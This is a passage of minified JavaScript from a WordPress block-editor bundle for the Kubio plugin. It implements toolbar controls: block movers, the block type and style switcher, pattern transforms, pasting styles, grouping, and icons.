0:o.orientation,isManualGrid:"grid"===m.type&&m.isManualPlacement&&window.__experimentalEnableGridInteractivity}}),[e]);return!i||l&&s&&!r||t&&c?null:(0,Nt.jsxs)(ne.ToolbarGroup,{className:ms("block-editor-block-mover",{"is-horizontal":"horizontal"===a}),children:[!t&&(0,Nt.jsx)(Yk,{clientIds:e,fadeWhenDisabled:!0,children:e=>(0,Nt.jsx)(ne.Button,{__next40pxDefaultSize:!0,icon:zd,className:"block-editor-block-mover__drag-handle",label:(0,Je.__)("Drag"),tabIndex:"-1",...e})}),!c&&(0,Nt.jsxs)("div",{className:"block-editor-block-mover__move-button-container",children:[(0,Nt.jsx)(ne.ToolbarItem,{children:t=>(0,Nt.jsx)(l_,{disabled:n,clientIds:e,...t})}),(0,Nt.jsx)(ne.ToolbarItem,{children:t=>(0,Nt.jsx)(s_,{disabled:o,clientIds:e,...t})})]})]})};function c_(){const{selectBlock:e}=(0,d.useDispatch)(hs),{parentClientId:t}=(0,d.useSelect)((e=>{const{getBlockParents:t,getSelectedBlockClientId:n,getParentSectionBlock:o}=ge(e(hs)),i=n(),r=null==o?void 0:o(i),l=t(i);return{parentClientId:null!=r?r:l[l.length-1]}}),[]),n=Pk(t),o=(0,u.useRef)();return t?(0,Nt.jsx)("div",{className:"block-editor-block-parent-selector",ref:o,children:(0,Nt.jsx)(ne.ToolbarButton,{className:"block-editor-block-parent-selector__button",onClick:()=>e(t),label:(0,Je.sprintf)(/* translators: %s: Name of the block's parent. */ /* translators: %s: Name of the block's parent. */(0,Je.__)("Select parent block: %s","kubio"),null==n?void 0:n.title),showTooltip:!0,icon:(0,Nt.jsx)(Fa,{icon:null==n?void 0:n.icon})})},t):(0,Nt.jsx)(Nt.Fragment,{})}const u_=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{fillRule:"evenodd",clipRule:"evenodd",d:"M5 4.5h11a.5.5 0 0 1 .5.5v11a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V5a.5.5 0 0 1 .5-.5ZM3 5a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5Zm17 3v10.75c0 .69-.56 1.25-1.25 1.25H6v1.5h12.75a2.75 2.75 0 0 0 2.75-2.75V8H20Z"})});function d_({blocks:e}){return(0,p.useViewportMatch)("medium","<")?null:(0,Nt.jsx)("div",{className:"block-editor-block-switcher__popover-preview-container",children:(0,Nt.jsx)(ne.Popover,{className:"block-editor-block-switcher__popover-preview",placement:"right-start",focusOnMount:!1,offset:16,children:(0,Nt.jsxs)("div",{className:"block-editor-block-switcher__preview",children:[(0,Nt.jsx)("div",{className:"block-editor-block-switcher__preview-title",children:(0,Je.__)("Preview")}),(0,Nt.jsx)(hh,{viewportWidth:500,blocks:e})]})})})}const p_={};function h_({item:e,onSelect:t,setHoveredTransformItemName:n}){const{name:o,icon:i,title:r}=e;return(0,Nt.jsxs)(ne.MenuItem,{className:(0,c.getBlockMenuDefaultClassName)(o),onClick:e=>{e.preventDefault(),t(o)},onMouseLeave:()=>n(null),onMouseEnter:()=>n(o),children:[(0,Nt.jsx)(Fa,{icon:i,showColors:!0}),r]})}const g_=({transformations:e,onSelect:t,blocks:n})=>{const[o,i]=(0,u.useState)();return(0,Nt.jsxs)(Nt.Fragment,{children:[o&&(0,Nt.jsx)(d_,{blocks:(0,c.cloneBlock)(n[0],e.find((({name:e})=>e===o)).attributes)}),null==e?void 0:e.map((e=>(0,Nt.jsx)(h_,{item:e,onSelect:t,setHoveredTransformItemName:i},e.name)))]})};function f_({restTransformations:e,onSelect:t,setHoveredTransformItemName:n}){return e.map((e=>(0,Nt.jsx)(m_,{item:e,onSelect:t,setHoveredTransformItemName:n},e.name)))}function m_({item:e,onSelect:t,setHoveredTransformItemName:n}){const{name:o,icon:i,title:r,isDisabled:l}=e;return(0,Nt.jsxs)(ne.MenuItem,{className:(0,c.getBlockMenuDefaultClassName)(o),onClick:e=>{e.preventDefault(),t(o)},disabled:l,onMouseLeave:()=>n(null),onMouseEnter:()=>n(o),children:[(0,Nt.jsx)(Fa,{icon:i,showColors:!0}),r]})}const v_=({className:e,possibleBlockTransformations:t,possibleBlockVariationTransformations:n,onSelect:o,onSelectVariation:i,blocks:r})=>{const[l,s]=(0,u.useState)(),{priorityTextTransformations:a,restTransformations:d}=function(e){const t={"core/paragraph":1,"core/heading":2,"core/list":3,"core/quote":4},n=(0,u.useMemo)((()=>{const n=Object.keys(t),o=e.reduce(((e,t)=>{const{name:o}=t;return n.includes(o)?e.priorityTextTransformations.push(t):e.restTransformations.push(t),e}),{priorityTextTransformations:[],restTransformations:[]});if(1===o.priorityTextTransformations.length&&"core/quote"===o.priorityTextTransformations[0].name){const e=o.priorityTextTransformations.pop();o.restTransformations.push(e)}return o}),[e]);return n.priorityTextTransformations.sort((({name:e},{name:n})=>t[e]<t[n]?-1:1)),n}(t),p=a.length&&d.length,h=!!d.length&&(0,Nt.jsx)(f_,{restTransformations:d,onSelect:o,setHoveredTransformItemName:s});return(0,Nt.jsxs)(Nt.Fragment,{children:[(0,Nt.jsxs)(ne.MenuGroup,{label:(0,Je.__)("Transform to"),className:e,children:[l&&(0,Nt.jsx)(d_,{blocks:(0,c.switchToBlockType)(r,l)}),!(null==n||!n.length)&&(0,Nt.jsx)(g_,{transformations:n,blocks:r,onSelect:i}),a.map((e=>(0,Nt.jsx)(m_,{item:e,onSelect:o,setHoveredTransformItemName:s},e.name))),!p&&h]}),!!p&&(0,Nt.jsx)(ne.MenuGroup,{className:e,children:h})]})},b_=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M16.7 7.1l-6.3 8.5-3.3-2.5-.9 1.2 4.5 3.4L17.9 8z"})}),k_=window.wp.tokenList;var y_=n.n(k_);function x_(e,t,n){const o=new(y_())(e);return t&&o.remove("is-style-"+t.name),o.add("is-style-"+n.name),o.value}function S_(e){return null==e?void 0:e.find((e=>e.isDefault))}function w_({clientId:e,onSwitch:t}){const{styles:n,block:o,blockType:i,className:r}=(0,d.useSelect)((t=>{const{getBlock:n}=t(hs),o=n(e);if(!o)return{};const i=(0,c.getBlockType)(o.name),{getBlockStyles:r}=t(c.store);return{block:o,blockType:i,styles:r(o.name),className:o.attributes.className||""}}),[e]),{updateBlockAttributes:l}=(0,d.useDispatch)(hs),s=function(e){return e&&0!==e.length?S_(e)?e:[{name:"default",label:(0,Je._x)("Default","block style"),isDefault:!0},...e]:[]}(n),a=function(e,t){for(const n of new(y_())(t).values()){if(-1===n.indexOf("is-style-"))continue;const t=n.substring(9),o=null==e?void 0:e.find((({name:e})=>e===t));if(o)return o}return S_(e)}(s,r),p=function(e,t){return(0,u.useMemo)((()=>{const n=null==t?void 0:t.example,o=null==t?void 0:t.name;return n&&o?(0,c.getBlockFromExample)(o,{attributes:n.attributes,innerBlocks:n.innerBlocks}):e?(0,c.cloneBlock)(e):void 0}),[null!=t&&t.example?null==e?void 0:e.name:e,t])}(o,i);return{onSelect:n=>{const o=x_(r,a,n);l(e,{className:o}),t()},stylesToRender:s,activeStyle:a,genericPreviewBlock:p,className:r}}const C_=()=>{};function B_({clientId:e,onSwitch:t=C_}){const{onSelect:n,stylesToRender:o,activeStyle:i}=w_({clientId:e,onSwitch:t});return o&&0!==o.length?(0,Nt.jsx)(Nt.Fragment,{children:o.map((e=>{const t=e.label||e.name;return(0,Nt.jsx)(ne.MenuItem,{icon:i.name===e.name?b_:null,onClick:()=>n(e),children:(0,Nt.jsx)(ne.__experimentalText,{as:"span",limit:18,ellipsizeMode:"tail",truncate:!0,children:t})},e.name)}))}):null}function I_({hoveredBlock:e,onSwitch:t}){const{clientId:n}=e;return(0,Nt.jsx)(ne.MenuGroup,{label:(0,Je.__)("Styles"),className:"block-editor-block-switcher__styles__menugroup",children:(0,Nt.jsx)(B_,{clientId:n,onSwitch:t})})}const j_=(e,t,n=new Set)=>{const{clientId:o,name:i,innerBlocks:r=[]}=e;if(!n.has(o)){if(i===t)return e;for(const e of r){const o=j_(e,t,n);if(o)return o}}},E_=(e,t)=>{const n=((e,t)=>{const n=(0,c.getBlockAttributesNamesByRole)(e,"content");return null!=n&&n.length?n.reduce(((e,n)=>(t[n]&&(e[n]=t[n]),e)),{}):t})(t.name,t.attributes);e.attributes={...e.attributes,...n}};function T_({patterns:e,onSelect:t}){const n=(0,p.useViewportMatch)("medium","<");return(0,Nt.jsx)("div",{className:"block-editor-block-switcher__popover-preview-container",children:(0,Nt.jsx)(ne.Popover,{className:"block-editor-block-switcher__popover-preview",placement:n?"bottom":"right-start",offset:16,children:(0,Nt.jsx)("div",{className:"block-editor-block-switcher__preview is-pattern-list-preview",children:(0,Nt.jsx)(P_,{patterns:e,onSelect:t})})})})}function P_({patterns:e,onSelect:t}){return(0,Nt.jsx)(ne.Composite,{role:"listbox",className:"block-editor-block-switcher__preview-patterns-container","aria-label":(0,Je.__)("Patterns list"),children:e.map((e=>(0,Nt.jsx)(M_,{pattern:e,onSelect:t},e.name)))})}function M_({pattern:e,onSelect:t}){const n="block-editor-block-switcher__preview-patterns-container",o=(0,p.useInstanceId)(M_,`${n}-list__item-description`);return(0,Nt.jsxs)("div",{className:`${n}-list__list-item`,children:[(0,Nt.jsxs)(ne.Composite.Item,{render:(0,Nt.jsx)("div",{role:"option","aria-label":e.title,"aria-describedby":e.description?o:void 0,className:`${n}-list__item`}),onClick:()=>t(e.transformedBlocks),children:[(0,Nt.jsx)(hh,{blocks:e.transformedBlocks,viewportWidth:e.viewportWidth||500}),(0,Nt.jsx)("div",{className:`${n}-list__item-title`,children:e.title})]}),!!e.description&&(0,Nt.jsx)(ne.VisuallyHidden,{id:o,children:e.description})]})}const R_=function({blocks:e,patterns:t,onSelect:n}){const[o,i]=(0,u.useState)(!1),r=((e,t)=>(0,u.useMemo)((()=>e.reduce(((e,n)=>{const o=((e,t)=>{const n=t.map((e=>(0,c.cloneBlock)(e))),o=new Set;for(const t of e){let e=!1;for(const i of n){const n=j_(i,t.name,o);if(n){e=!0,o.add(n.clientId),E_(n,t);break}}if(!e)return}return n})(t,n.blocks);return o&&e.push({...n,transformedBlocks:o}),e}),[])),[e,t]))(t,e);return r.length?(0,Nt.jsxs)(ne.MenuGroup,{className:"block-editor-block-switcher__pattern__transforms__menugroup",children:[o&&(0,Nt.jsx)(T_,{patterns:r,onSelect:n}),(0,Nt.jsx)(ne.MenuItem,{onClick:e=>{e.preventDefault(),i(!o)},icon:Xk,children:(0,Je.__)("Patterns")})]}):null};function N_({onClose:e,clientIds:t,hasBlockStyles:n,canRemove:o}){const{replaceBlocks:i,multiSelect:r,updateBlockAttributes:l}=(0,d.useDispatch)(hs),{possibleBlockTransformations:s,patterns:a,blocks:p,isUsingBindings:h}=(0,d.useSelect)((e=>{const{getBlockAttributes:n,getBlocksByClientId:o,getBlockRootClientId:i,getBlockTransformItems:r,__experimentalGetPatternTransformItems:l}=e(hs),s=i(t[0]),a=o(t);return{blocks:a,possibleBlockTransformations:r(a,s),patterns:l(a,s),isUsingBindings:t.every((e=>{var t,o;return!(null===(t=n(e))||void 0===t||null===(o=t.metadata)||void 0===o||!o.bindings)}))}}),[t]),g=function({clientIds:e,blocks:t}){const{activeBlockVariation:n,blockVariationTransformations:o}=(0,d.useSelect)((n=>{const{getBlockAttributes:o,canRemoveBlocks:i}=n(hs),{getActiveBlockVariation:r,getBlockVariations:l}=n(c.store),s=i(e);if(1!==t.length||!s)return p_;const[a]=t;return{blockVariationTransformations:l(a.name,"transform"),activeBlockVariation:r(a.name,o(a.clientId))}}),[e,t]);return(0,u.useMemo)((()=>null==o?void 0:o.filter((({name:e})=>e!==(null==n?void 0:n.name)))),[o,n])}({clientIds:t,blocks:p});function f(e){e.length>1&&r(e[0].clientId,e[e.length-1].clientId)}const m=1===p.length,v=m&&(0,c.isTemplatePart)(p[0]),b=!!s.length&&o&&!v,k=!(null==g||!g.length),_=!(null==a||!a.length)&&o,y=b||k;if(!(n||y||_))return(0,Nt.jsx)("p",{className:"block-editor-block-switcher__no-transforms",children:(0,Je.__)("No transforms.","kubio")});const x=m?(0,Je._x)("This block is connected.","block toolbar button label and description","kubio"):(0,Je._x)("These blocks are connected.","block toolbar button label and description","kubio");return(0,Nt.jsxs)("div",{className:"block-editor-block-switcher__container",children:[_&&(0,Nt.jsx)(R_,{blocks:p,patterns:a,onSelect:n=>{!function(e){i(t,e),f(e)}(n),e()}}),y&&(0,Nt.jsx)(v_,{className:"block-editor-block-switcher__transforms__menugroup",possibleBlockTransformations:s,possibleBlockVariationTransformations:g,blocks:p,onSelect:n=>{!function(e){const n=(0,c.switchToBlockType)(p,e);i(t,n),f(n)}(n),e()},onSelectVariation:t=>{!function(e){l(p[0].clientId,{...g.find((({name:t})=>t===e)).attributes})}(t),e()}}),n&&(0,Nt.jsx)(I_,{hoveredBlock:p[0],onSwitch:e}),h&&(0,Nt.jsx)(ne.MenuGroup,{children:(0,Nt.jsx)(ne.__experimentalText,{className:"block-editor-block-switcher__binding-indicator",children:x})})]})}const A_=({clientIds:e})=>{const{hasContentOnlyLocking:t,canRemove:n,hasBlockStyles:o,icon:i,invalidBlocks:r,isReusable:l,isTemplate:s,isDisabled:a,hasKubioBlock:u}=(0,d.useSelect)((t=>{var n;const{getTemplateLock:o,getBlocksByClientId:i,getBlockAttributes:r,canRemoveBlocks:l,getBlockEditingMode:s}=t(hs),{getBlockStyles:a,getBlockType:u,getActiveBlockVariation:d}=t(c.store),p=i(e);if(!p.length||p.some((e=>!e)))return{invalidBlocks:!0};const[{name:h}]=p,g=1===p.length,f=u(h),m=s(e[0]);let v,b;if(g){const t=d(h,r(e[0]));v=(null==t?void 0:t.icon)||f.icon,b="contentOnly"===o(e[0])}else{const t=1===new Set(p.map((({name:e})=>e))).size;b=e.some((e=>"contentOnly"===o(e))),v=t?f.icon:u_}return{canRemove:l(e),hasBlockStyles:g&&!(null===(n=a(h))||void 0===n||!n.length),icon:v,isReusable:g&&(0,c.isReusableBlock)(p[0]),isTemplate:g&&(0,c.isTemplatePart)(p[0]),hasContentOnlyLocking:b,isDisabled:"default"!==m,hasKubioBlock:p.some((e=>e.name.includes("kubio/")))}}),[e]),p=pd({clientId:null==e?void 0:e[0],maximumLength:35}),h=(0,d.useSelect)((e=>e(Gn.store).get("core","showIconLabels")),[]);if(r)return null;const g=1===e.length,f=g?p:(0,Je.__)("Multiple blocks selected","kubio"),m=(l||s)&&!h&&p?p:void 0;if(u||a||!o&&!n||t)return(0,Nt.jsx)(ne.ToolbarGroup,{children:(0,Nt.jsx)(ne.ToolbarButton,{disabled:!0,className:"block-editor-block-switcher__no-switcher-icon",title:f,icon:(0,Nt.jsx)(Fa,{className:"block-editor-block-switcher__toggle",icon:i,showColors:!0}),text:m})});const v=g?(0,Je.__)("Change block type or style","kubio"):(0,Je.sprintf)(/* translators: %d: number of blocks. */ /* translators: %d: number of blocks. */(0,Je._n)("Change type of %d block","Change type of %d blocks",e.length,"kubio"),e.length);return(0,Nt.jsx)(ne.ToolbarGroup,{children:(0,Nt.jsx)(ne.ToolbarItem,{children:t=>(0,Nt.jsx)(ne.DropdownMenu,{className:"block-editor-block-switcher",label:f,popoverProps:{placement:"bottom-start",className:"block-editor-block-switcher__popover"},icon:(0,Nt.jsx)(Fa,{className:"block-editor-block-switcher__toggle",icon:i,showColors:!0}),text:m,toggleProps:{description:v,...t},menuProps:{orientation:"both"},children:({onClose:t})=>(0,Nt.jsx)(N_,{onClose:t,clientIds:e,hasBlockStyles:o,canRemove:n})})})})},L_={default:(0,ne.createSlotFill)("BlockControls"),block:(0,ne.createSlotFill)("BlockControlsBlock"),inline:(0,ne.createSlotFill)("BlockFormatControls"),other:(0,ne.createSlotFill)("BlockControlsOther"),parent:(0,ne.createSlotFill)("BlockControlsParent")};function D_({group:e="default",controls:t,children:n,__experimentalShareWithChildBlocks:o=!1}){const i=function(e,t){const n=S();var o;return n[g]?null===(o=L_[e])||void 0===o?void 0:o.Fill:n[f]&&t?L_.parent.Fill:null}(e,o);if(!i)return null;const r=(0,Nt.jsxs)(Nt.Fragment,{children:["default"===e&&(0,Nt.jsx)(ne.ToolbarGroup,{controls:t}),n]});return(0,Nt.jsx)(ne.__experimentalStyleProvider,{document,children:(0,Nt.jsx)(i,{children:e=>{const{forwardedContext:t=[]}=e;return t.reduce(((e,[t,n])=>(0,Nt.jsx)(t,{...n,children:e})),r)}})})}const{ComponentsContext:O_}=ge(ne.privateApis||{});function z_({group:e="default",...t}){const n=(0,u.useContext)(ne.__experimentalToolbarContext);let o,i,r,l;if(O_?(o=(0,u.useContext)(O_),i=(0,u.useMemo)((()=>({forwardedContext:[[ne.__experimentalToolbarContext.Provider,{value:n}],[O_.Provider,{value:o}]]})),[n,o])):i=(0,u.useMemo)((()=>({forwardedContext:[[ne.__experimentalToolbarContext.Provider,{value:n}]]})),[n]),(0,oe.wpVersionCompare)("6.8","<")){var s;r=null===(s=L_[e])||void 0===s?void 0:s.Slot,l=wk(r.__unstableName)}else{var a;const t=L_[e];l=null===(a=(0,ne.__experimentalUseSlotFills)(t.name))||void 0===a?void 0:a.length,r=t.Slot}if(!r)return!0===globalThis.SCRIPT_DEBUG&&Zg()(`Unknown BlockControls group "${e}" provided.`),null;if(!l)return null;const c=(0,Nt.jsx)(r,{...t,bubblesVirtually:!0,fillProps:i});return"default"===e?c:(0,Nt.jsx)(ne.ToolbarGroup,{children:c})}const F_=D_;F_.Slot=z_;const V_=e=>(0,Nt.jsx)(D_,{group:"inline",...e});V_.Slot=e=>(0,Nt.jsx)(z_,{group:"inline",...e});const H_=F_,{Fill:G_,Slot:$_}=(0,ne.createSlotFill)("__unstableBlockToolbarLastItem");G_.Slot=$_;const U_=G_,W_="__experimentalBorder",K_="color",Z_="typography.__experimentalFontFamily",q_="typography.fontSize",Y_="typography.textAlign",X_=["shadow","typography.lineHeight",q_,"typography.__experimentalFontStyle","typography.__experimentalFontWeight",Z_,Y_,"typography.textColumns","typography.__experimentalTextDecoration","typography.__experimentalTextTransform","typography.__experimentalWritingMode","typography.__experimentalLetterSpacing",W_,K_,"spacing"],Q_={align:e=>(0,c.hasBlockSupport)(e,"align"),borderColor:e=>function(e,t="any"){if("web"!==u.Platform.OS)return!1;const n=(0,c.getBlockSupport)(e,W_);return!(!0!==n&&!("any"===t?null!=n&&n.color||null!=n&&n.radius||null!=n&&n.width||null!=n&&n.style:null!=n&&n[t]))}(e,"color"),backgroundColor:e=>{const t=(0,c.getBlockSupport)(e,K_);return t&&!1!==t.background},textAlign:e=>(0,c.hasBlockSupport)(e,Y_),textColor:e=>{const t=(0,c.getBlockSupport)(e,K_);return t&&!1!==t.text},gradient:e=>{const t=(0,c.getBlockSupport)(e,K_);return null!==t&&"object"==typeof t&&!!t.gradients},className:e=>(0,c.hasBlockSupport)(e,"customClassName",!0),fontFamily:e=>(0,c.hasBlockSupport)(e,Z_),fontSize:e=>(0,c.hasBlockSupport)(e,q_),layout:e=>(0,c.hasBlockSupport)(e,"layout"),style:e=>X_.some((t=>(0,c.hasBlockSupport)(e,t)))};function J_(e,t){return Object.entries(Q_).reduce(((n,[o,i])=>(i(e.name)&&i(t.name)&&(n[o]=e.attributes[o]),n)),{})}function ey(e,t,n){for(let o=0;o<Math.min(t.length,e.length);o+=1)n(e[o].clientId,J_(t[o],e[o])),ey(e[o].innerBlocks,t[o].innerBlocks,n)}function ty({clientIds:e,children:t,__experimentalUpdateSelection:n}){const{canCopyStyles:o,canDuplicate:i,canInsertDefaultBlock:r,canRemove:l,getGroupingBlockName:s,rootClientId:a,blocks:p}=(0,d.useSelect)((t=>{const{canInsertBlockType:n,getBlockRootClientId:o,getBlocksByClientId:i,canRemoveBlocks:r}=t(hs),{getDefaultBlockName:l,getGroupingBlockName:s}=t(c.store),a=i(e),u=o(e[0]),d=a.every((e=>!!e&&((0,c.hasBlockSupport)(e.name,"color")||(0,c.hasBlockSupport)(e.name,"typography")))),p=a.every((e=>!!e&&(0,c.hasBlockSupport)(e.name,"multiple",!0)&&n(e.name,u)));return{canCopyStyles:d,canDuplicate:p,canInsertDefaultBlock:n(l(),u),canRemove:r(e,u),getGroupingBlockName:s,rootClientId:u,blocks:a}}),[e]),{removeBlocks:h,replaceBlocks:g,duplicateBlocks:f,insertAfterBlock:m,insertBeforeBlock:v,flashBlock:b,setBlockMovingClientId:k,setNavigationMode:_,selectBlock:y}=(0,d.useDispatch)(hs),x=(Up(),function(){const e=(0,d.useRegistry)(),{updateBlockAttributes:t}=(0,d.useDispatch)(hs),{createSuccessNotice:n,createWarningNotice:o,createErrorNotice:i}=(0,d.useDispatch)($p.store);return(0,u.useCallback)((async r=>{let l="";try{if(!window.navigator.clipboard)return void i((0,Je.__)("Unable to paste styles. This feature is only available on secure (https) sites in supporting browsers.","kubio"),{type:"snackbar"});l=await window.navigator.clipboard.readText()}catch(e){return void i((0,Je.__)("Unable to paste styles. Please allow browser clipboard permissions before continuing.","kubio"),{type:"snackbar"})}if(!l||!function(e){try{const t=(0,c.parse)(e,{__unstableSkipMigrationLogs:!0,__unstableSkipAutop:!0});return 1!==t.length||"core/freeform"!==t[0].name}catch(e){return!1}}(l))return void o((0,Je.__)("Unable to paste styles. Block styles couldn't be found within the copied content.","kubio"),{type:"snackbar"});const s=(0,c.parse)(l);if(1===s.length?e.batch((()=>{ey(r,r.map((()=>s[0])),t)})):e.batch((()=>{ey(r,s,t)})),1===r.length){var a;const e=null===(a=(0,c.getBlockType)(r[0].name))||void 0===a?void 0:a.title;n((0,Je.sprintf)(// Translators: Name of the block being pasted, e.g. "Paragraph". // Translators: Name of the block being pasted, e.g. "Paragraph". (0,Je.__)("Pasted styles to %s.","kubio"),e),{type:"snackbar"})}else n((0,Je.sprintf)(// Translators: The number of the blocks. // Translators: The number of the blocks. (0,Je.__)("Pasted styles to %d blocks.","kubio"),r.length),{type:"snackbar"})}),[e.batch,t,n,o,i])}());return t({canCopyStyles:o,canDuplicate:i,canInsertDefaultBlock:r,canRemove:l,rootClientId:a,blocks:p,onDuplicate:()=>f(e,n),onRemove:()=>h(e,n),onInsertBefore(){const t=Array.isArray(e)?e[0]:t;v(t)},onInsertAfter(){const t=Array.isArray(e)?e[e.length-1]:t;m(t)},onGroup(){if(!p.length)return;const t=s(),n=(0,c.switchToBlockType)(p,t);n&&g(e,n)},onUngroup(){if(!p.length)return;const t=p[0].innerBlocks;t.length&&g(e,t)},onCopy(){const e=p.map((({clientId:e})=>e));1===p.length&&b(e[0])},async onPasteStyles(){await x(p)}})}function ny(e){return(0,d.useSelect)((t=>{var n,o;const{getBlocksByClientId:i,getSelectedBlockClientIds:r,isUngroupable:l,isGroupable:s}=t(hs),{getGroupingBlockName:a,getBlockType:u}=t(c.store),d=null!=e&&e.length?e:r(),p=i(d),[h]=p,g=1===d.length&&l(d[0]);return{clientIds:d,isGroupable:s(d),isUngroupable:g,blocksSelection:p,groupingBlockName:a(),onUngroup:g&&(null===(n=u(h.name))||void 0===n||null===(o=n.transforms)||void 0===o?void 0:o.ungroup)}}),[e])}const oy=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{d:"M18 4h-7c-1.1 0-2 .9-2 2v3H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-3h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h3V13c0 1.1.9 2 2 2h2.5v3zm0-4.5H11c-.3 0-.5-.2-.5-.5v-2.5H13c.3 0 .5.2.5.5v2.5zm5-.5c0 .3-.2.5-.5.5h-3V11c0-1.1-.9-2-2-2h-2.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7z"})}),iy=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M4 6.5h5a2 2 0 0 1 2 2v7a2 2 0 0 1-2 2H4V16h5a.5.5 0 0 0 .5-.5v-7A.5.5 0 0 0 9 8H4V6.5Zm16 0h-5a2 2 0 0 0-2 2v7a2 2 0 0 0 2 2h5V16h-5a.5.5 0 0 1-.5-.5v-7A.5.5 0 0 1 15 8h5V6.5Z"})}),ry=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"M17.5 4v5a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2V4H8v5a.5.5 0 0 0 .5.5h7A.5.5 0 0 0 16 9V4h1.5Zm0 16v-5a2 2 0 0 0-2-2h-7a2 2 0 0 0-2 2v5H8v-5a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 .5.5v5h1.5Z"})}),ly=(0,Nt.jsx)(Rt.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,Nt.jsx)(Rt.Path,{d:"m3 5c0-1.10457.89543-2 2-2h13.5c1.1046 0 2 .89543 2 2v13.5c0 1.1046-.8954 2-2 2h-13.5c-1.10457 0-2-.8954-2-2zm2-.5h6v6.5h-6.5v-6c0-.27614.22386-.5.5-.5zm-.5 8v6c0 .2761.22386.5.5.5h6v-6.5zm8 0v6.5h6c.2761 0 .5-.2239.5-.5v-6zm0-8v6.5h6.5v-6c0-.27614-.2239-.5-.5-.5z",fillRule:"evenodd",clipRule:"evenodd"})}),sy={group:{type:"constrained"},row:{type:"flex",flexWrap:"nowrap"},stack:{type:"flex",orientation:"vertical"},grid:{type:"grid"}},ay=function(){const{blocksSelection:e,clientIds:t,groupingBlockName:n,isGroupable:o}=ny(),{replaceBlocks:i}=(0,d.useDispatch)(hs),{canRemove:r,variations:l}=(0,d.useSelect)((e=>{const{canRemoveBlocks:o}=e(hs),{getBlockVariations:i}=e(c.store);return{canRemove:o(t),variations:i(n,"transform")}}),[t,n]),s=o=>{const r=(0,c.switchToBlockType)(e,n);"string"!=typeof o&&(o="group"),r&&r.length>0&&(r[0].attributes.layout=sy[o],i(t,r))};if(!o||!r)return null;const a=!!l.find((({name:e})=>"group-row"===e)),u=!!l.find((({name:e})=>"group-stack"===e)),p=!!l.find((({name:e})=>"group-grid"===e));return(0,Nt.jsxs)(ne.ToolbarGroup,{children:[(0,Nt.jsx)(ne.ToolbarButton,{icon:oy,label:(0,Je._x)("Group","action: convert blocks to group"),onClick:s}),a&&(0,Nt.jsx)(ne.ToolbarButton,{icon:iy,label:(0,Je._x)("Row","action: convert blocks to row"),onClick:()=>s("row")}),u&&(0,Nt.jsx)(ne.ToolbarButton,{icon:ry,label:(0,Je._x)("Stack","action: convert blocks to stack"),onClick:()=>s("stack")}),p&&(0,Nt.jsx)(ne.ToolbarButton,{icon:ly,label:(0,Je._x)("Grid","action: convert blocks to grid"),onClick:()=>s("grid")})]})};function cy({clientIds:e,isGroupable:t,isUngroupable:n,onUngroup:o,blocksSelection:i,groupingBlockName:r,onClose:l=(()=>{})}){var s;const{getSelectedBlockClientIds:a,getBlock:u}=(0,d.useSelect)(hs),{replaceBlocks:p}=(0,d.useDispatch)(hs);if(!t&&!n)return null;const h=(e||[]).map((e=>u(e))),g=null==h||null===(s=h.find)||void 0===s?void 0:s.call(h,(e=>{var t,n;return null==e||null===(t=e.name)||void 0===t||null===(n=t.includes)||void 0===n?void 0:n.call(t,"kubio")})),f=a();return g?(0,Nt.jsx)(Nt.Fragment,{}):(0,Nt.jsxs)(Nt.Fragment,{children:[t&&(0,Nt.jsx)(ne.MenuItem,{shortcut:f.length>1?sd.displayShortcut.primary("g"):void 0,onClick:()=>{(()=>{const t=(0,c.switchToBlockType)(i,r);t&&p(e,t)})(),l()},children:(0,Je._x)("Group","verb","kubio")}),n&&(0,Nt.jsx)(ne.MenuItem,{onClick:()=>{(()=>{let t=i[0].innerBlocks;t.length&&(o&&(t=o(i[0].attributes,i[0].innerBlocks)),p(e,t))})(),l()},children:(0,Je._x)("Ungroup","Ungrouping blocks from within a grouping block back into individual blocks within the Editor","kubio")})]})}const uy=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{d:"M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8h1.5c0-1.2 1-2.2 2.2-2.2s2.2 1 2.2 2.2v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1z"})}),dy=(0,Nt.jsx)(Rt.SVG,{viewBox:"0 0 24 24",xmlns:"http://www.w3.org/2000/svg",children:(0,Nt.jsx)(Rt.Path,{d:"M17 10h-1.2V7c0-2.1-1.7-3.8-3.8-3.8-2.1 0-3.8 1.7-3.8 3.8v3H7c-.6 0-1 .4-1 1v8c0 .6.4 1 1 1h10c.6 0 1-.4 1-1v-8c0-.6-.4-1-1-1zM9.8 7c0-1.2 1-2.2 2.2-2.2 1.2 0 2.2 1 2.2 2.2v3H9.8V7zm6.7 11.5h-9v-7h9v7z"})});function 